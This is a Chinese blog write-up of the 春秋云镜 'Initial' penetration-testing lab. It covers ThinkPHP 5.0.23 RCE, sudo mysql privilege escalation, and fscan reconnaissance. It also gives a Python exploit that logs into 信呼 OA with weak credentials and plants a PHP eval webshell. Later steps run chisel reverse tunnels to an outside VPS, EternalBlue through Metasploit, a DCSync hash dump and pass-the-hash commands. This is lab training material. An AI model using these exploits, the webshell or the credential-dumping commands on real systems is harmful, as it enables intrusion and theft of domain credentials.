春秋云镜：Initial
jerem1ah Lv4
  2023-11-22 00:39:54 2023-11-22 00:39   2024-09-27 10:48:43  

春秋云镜：Initial

https://exp10it.cn/2023/07/%E6%98%A5%E7%A7%8B%E4%BA%91%E9%95%9C-initial-writeup/

http://www.fzwjscj.xyz/index.php/archives/50/

https://fushuling.com/index.php/2023/08/27/%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83%c2%b7initial/

https://fushuling.com/index.php/2023/08/20/ctfshow%e5%88%b7%e9%a2%98%e8%ae%b0%e5%bd%95%e6%8c%81%e7%bb%ad%e6%9b%b4%e6%96%b0%e4%b8%ad/ //ctfshow内网题目

https://fushuling.com/index.php/2023/09/21/%e5%86%85%e7%bd%91%e4%bb%a3%e7%90%86%e6%90%ad%e5%bb%ba/ //内网隧道

https://github.com/shadow1ng/fscan //fscan

https://github.com/jpillora/chisel //chisel

https://github.com/ph4ntonn/Stowaway //stowaway

https://github.com/fatedier/frp //frp

https://github.com/ehang-io/nps //nps

https://github.com/AntSwordProject/antSword //antsword

https://eternallybored.org/misc/netcat //netcat

https://github.com/Lotus6/ThinkphpGUI //thinkphp

考点：

  • thinkphp 5.0.23 RCE
  • mysql命令提权
  • 信呼nday
  • ms17-010(永恒之蓝)
  • DCSync

拓扑图：

1
2
3
vps---外网靶机1---信呼win---永恒之蓝win---flag3 win
       .1.15       .1.18      .1.21         .1.2
kali

flag01

ThinkPHP 5.0.23 RCE

有报错，判断ThinkPHP 5.0.23

image-20231121235435262

getshell之后

image-20231121235457390

sudo -l

image-20231121235556470

sudo mysql提权
1
2
3
4
5
(www-data:/var/www/html) $ sudo -l
Matching Defaults entries for www-data on ubuntu-web01:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu-web01:
    (root) NOPASSWD: /usr/bin/mysql
1
sudo mysql -e '\! /bin/sh'

拿下flag01

1
flag01: flag{60b53231-

image-20231121235950198

传fscan扫内网，

image-20231122000620878

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
(www-data:/tmp) $ ./fscan -h 172.22.1.15/24
(www-data:/tmp) $ ./fscan -h 172.22.1.15/24 > /tmp/res.txt
(www-data:/tmp) $ cat /tmp/res.tct
cat: /tmp/res.tct: No such file or directory
(www-data:/tmp) $ cat /tmp/res.txt
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.1.2      is alive
(icmp) Target 172.22.1.15     is alive
(icmp) Target 172.22.1.18     is alive
(icmp) Target 172.22.1.21     is alive
[*] Icmp alive hosts len is: 4
172.22.1.2:88 open
172.22.1.18:139 open
172.22.1.15:22 open
172.22.1.21:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:3306 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.2:445 open
[*] alive ports len is: 14
start vulscan
[*] NetInfo 
[*]172.22.1.18
   [->]XIAORANG-OA01
   [->]172.22.1.18
[*] WebTitle http://172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin
[*] NetInfo 
[*]172.22.1.2
   [->]DC01
   [->]172.22.1.2
[*] NetInfo 
[*]172.22.1.21
   [->]XIAORANG-WIN7
   [->]172.22.1.21
[+] MS17-010 172.22.1.21    (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] OsInfo 172.22.1.2    (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.1.2      [+] DC:DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.1.21     XIAORANG-WIN7.xiaorang.lab          Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] WebTitle http://172.22.1.18        code:302 len:0      title:None 跳转url: http://172.22.1.18?m=login
[*] NetBios 172.22.1.18     XIAORANG-OA01.xiaorang.lab          Windows Server 2012 R2 Datacenter 9600
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012   title:信呼协同办公系统
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1

flag02

配置代理

蚁剑上传chisel，建立隧道

1
2
3
4
5
./chisel server -p 28190
./chisel client 39.105.51.11:28190 R:28191:socks

sudo vim /etc/proxychains4.conf
socks 39.105.51.11 28191

image-20231122001211744

信呼OAnday

image-20231122001154542

信呼OA弱口令 admin/admin123

rce exp.py

1
2
3
1.php

<?=eval($_POST[1]);?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
session = requests.session()

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'YWRtaW4=',
    'adminpass': 'YWRtaW4xMjM=',
    'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
print(id)
print(filepath)
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)
1
http://172.22.1.18/upload/2023-11/22_00150366.php

image-20231122001618895

image-20231122001745538

1
flag02: 2ce3-4813-87d4-

flag03

配置代理
1
2
3
4
5
6
7
8
9
./chisel server -p 28190 --reverse
./chisel client 39.105.51.11:28190 R:0.0.0.0:28191:socks

./chisel server -p 1080 --reverse
start /b chisel.exe client ip:1080 R:1081:socks

sudo vim /etc/proxychains4.conf
socks 39.105.51.11 28191
socks 127.0.0.1 1081
msf打eternalblue
1
2
3
4
5
proxychains4 -f /etc/proxychains4.conf msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set rhost 172.22.1.21
run

image-20231122002713361

打hash传递

收集windows机器上的凭据

1
creds_all
1
2
3
4
5
#kiwi打dcsync
#导出域内所有用户Hash

load kiwi
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit

image-20231122002815783

1
2
3
4
5
6
7
8
9
10
#hash传递

#crackmapexec打hash传递
proxychains4 -f /etc/proxychains4.conf crackmapexec smb 172.22.1.2  -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

#或者psexec pth
proxychains4 -f /etc/proxychains4.conf psexec.py -dc-ip 172.22.1.2 -hashes :10cf89a850fb1cdbe6bb432b859164c8 XIAORANG.LAB/administrator/@172.22.1.2

#或者
proxychains4 -f /etc/proxychains4.conf psexec.py administrator@172.22.1.2 -hashes :10cf89a850fb1cdbe6bb432b859164c8 -codes gbk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~]
└─$ proxychains4 -f /etc/proxychains4.conf crackmapexec smb 172.22.1.2  -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
/usr/lib/python3/dist-packages/paramiko/transport.py:236: CryptographyDeprecationWarning: Blowfish has been deprecated
  "class": algorithms.Blowfish,
[proxychains] Dynamic chain  ...  39.105.51.11:28191  ...  127.0.0.1:1081  ...  172.22.1.2:445  ...  OK
[proxychains] Dynamic chain  ...  39.105.51.11:28191  ...  127.0.0.1:1081  ...  172.22.1.2:135  ...  OK
SMB         172.22.1.2      445    DC01             [*] Windows Server 2016 Datacenter 14393 x64 (name:DC01) (domain:xiaorang.lab) (signing:True) (SMBv1:True)
[proxychains] Dynamic chain  ...  39.105.51.11:28191  ...  127.0.0.1:1081  ...  172.22.1.2:445  ...  OK
[proxychains] Dynamic chain  ...  39.105.51.11:28191  ...  127.0.0.1:1081  ...  172.22.1.2:445  ...  OK
SMB         172.22.1.2      445    DC01             [+] xiaorang.lab\administrator:10cf89a850fb1cdbe6bb432b859164c8 (Pwn3d!)
[proxychains] Dynamic chain  ...  39.105.51.11:28191  ...  127.0.0.1:1081  ...  172.22.1.2:135  ...  OK
[proxychains] Dynamic chain  ...  39.105.51.11:28191  ...  127.0.0.1:1081  ...  172.22.1.2:49668  ...  OK
SMB         172.22.1.2      445    DC01             [+] Executed command 
SMB         172.22.1.2      445    DC01             ___   ___
SMB         172.22.1.2      445    DC01             \\ / /       / /    // | |     //   ) ) //   ) )  // | |     /|    / / //   ) )                                                               
SMB         172.22.1.2      445    DC01             \  /       / /    //__| |    //   / / //___/ /  //__| |    //|   / / //                                                                       
SMB         172.22.1.2      445    DC01             / /       / /    / ___  |   //   / / / ___ (   / ___  |   // |  / / //  ____                                                                  
SMB         172.22.1.2      445    DC01             / /\\     / /    //    | |  //   / / //   | |  //    | |  //  | / / //    / /                                                                 
SMB         172.22.1.2      445    DC01             / /  \\ __/ /___ //     | | ((___/ / //    | | //     | | //   |/ / ((____/ /                                                                 
SMB         172.22.1.2      445    DC01             
SMB         172.22.1.2      445    DC01             
SMB         172.22.1.2      445    DC01             flag03: e8f88d0d43d6}
SMB         172.22.1.2      445    DC01             
SMB         172.22.1.2      445    DC01             Unbelievable! ! You found the last flag, which means you have full control over the entire domain network.     
1
flag03: e8f88d0d43d6}
1
flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}
 Comments
  1. 春秋云镜：Initial
    1. 考点：
    2. 拓扑图：
    3. flag01
      1. ThinkPHP 5.0.23 RCE
      2. sudo mysql提权
  2. flag02
    1. 配置代理
    2. 信呼OAnday
  • flag03
    1. 配置代理
    2. msf打eternalblue
    3. 打hash传递